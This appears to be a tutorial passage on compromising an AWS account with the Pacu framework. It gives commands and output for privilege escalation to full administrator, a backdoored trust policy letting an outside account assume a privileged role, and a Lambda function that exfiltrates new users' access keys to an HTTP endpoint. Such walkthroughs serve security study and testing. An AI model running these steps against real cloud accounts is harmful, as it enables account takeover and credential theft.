Shadow Boxing

Cleopatra's Power

The scans have uncovered that the hacked user was Cleopatra and that the user has two Shadow permissions: CreatePolicyVersion, and SetDefaultPolicyVersion. With the combination of these permissions, an attacker could escalate permissions, and the first step is to escalate privileges to become a full AWS admin of the account.

With Pacu, you can run

run iam__privesc_scan

from the console, which will search for vulnerable permissions and automate the escalation. The full output of the command is shown in Listing 2.

Pacu (personal:Cleopatra) > run iam__privesc_scan
  Running module iam__privesc_scan...
[iam__privesc_scan] Escalation methods for current user:
[iam__privesc_scan]   CONFIRMED: CreateNewPolicyVersion
[iam__privesc_scan]   CONFIRMED: SetExistingDefaultPolicyVersion
[iam__privesc_scan] Attempting confirmed privilege escalation methods...
[iam__privesc_scan]   Starting method CreateNewPolicyVersion...
[iam__privesc_scan]     Is there a specific policy you want to target? Enter its ARN now (just hit enter to automatically figure out a valid policy to target):
[iam__privesc_scan]     No policy ARN entered, now finding a valid policy...
[iam__privesc_scan]       1 valid group-attached policy(ies) found.
[iam__privesc_scan]     Privilege escalation successful using method CreateNewPolicyVersion!
  The current user is now an administrator ("*" permissions on "*" resources).
[iam__privesc_scan] iam__privesc_scan completed.
[iam__privesc_scan] MODULE SUMMARY:
  Privilege escalation was successful

Persistence

Many actions help maintain access to an AWS account, even if the compromised user is removed. Gaining the trust from a privileged role is difficult to detect unless you have the proper defenses in place; then, the attacker can assume a role with a different AWS account.

Suppose the attacker adds a new trust policy into a privileged role that will allow another AWS account to assume it. First, check the report generated from SkyArk, where you can see at least three roles with high privileges. Suppose the roles are Druid , Poet_Role , and Soldier .

From the console, run the command (Figure 3):

run iam__backdoor_assume_role --role-names Soldier --user-arns arn:aws:iam::18xxxx010:root

Figure 3: You can see the trust policy added on the AWS console user interface.

The role name, in this case, is Soldier , and the attacker's account is ARN . The last word, root , at the very end of the command means that the attacker can use any resource (e.g., an IAM user, EC2, Lambda function, or any other resource) from this account to assume the Soldier role.

Cleopatra is now a full administrator and has added a trust policy to a privileged role. Now, the attacker could go even further and have a mechanism to do credentials exfiltration from all newly created users and send them in clear text with HTTP.

Exfiltration

Cleopatra is now a full queen but wants to control everything and rule all soldiers. The next step is to get all access keys from all newly created users on the AWS account. The attacker can create two resources or services: One is a Lambda function and the other is a CloudWatch event. All this will happen in an automated way, so there is no need to create them manually.

The CloudWatch event will listen and wait for an API call named CreateUser. When this happens, a serverless application will trigger the event and run a function to create a new set of access keys into the user and send it, together with its secret, via an HTTP endpoint, which could be a Netcat listener, a website, a security information and event management (SIEM), and so on.

Pacu automates everything and will use a role to create the function and configure the CloudWatch event. You just need to specify the endpoint URL to which you want the secrets sent.

Going back to the report, you know that there is a role named Poet_Role that has administrator access, which would be enough for the Lambda function, CloudWatch creation, and access key generation for IAM users.

With a SIEM (in this case, Sumo Logic) tool, you can receive HTTP events and create an HTTP listener endpoint and a CloudTrail trail on the us-east-1 (North Virginia) region, where the Lambda function will automatically create the malicious trail. This is a requirement if a trail did not exist yet in that region.

From the Pacu console, and using the credentials from Cleopatra , run the command:

run lambda__backdoor_new_users --exfil-url <sumoLogic endpoint url>

The newly created Lambda function is listed in Figure 4.

Figure 4: A new Lambda function created to exfiltrate credentials to the Sumo Logic endpoint.

All you have to do now is wait for the credentials to be sent to the system and use them later, if needed; you can assume that the AWS account has been fully compromised and is under your complete control.

A new user has been created, and, as you can see in the user interface, the new account has two access keys: one default created by AWS on the initial user creation, and the second one created by the Lambda function (Figure 5). Figure 6 shows the new set of credentials on the SIEM.

Figure 5: Two pairs of access keys, one created by the Lambda function.

Figure 6: Sumo Logic search and parsing for the new access keys and secrets from the newly created user.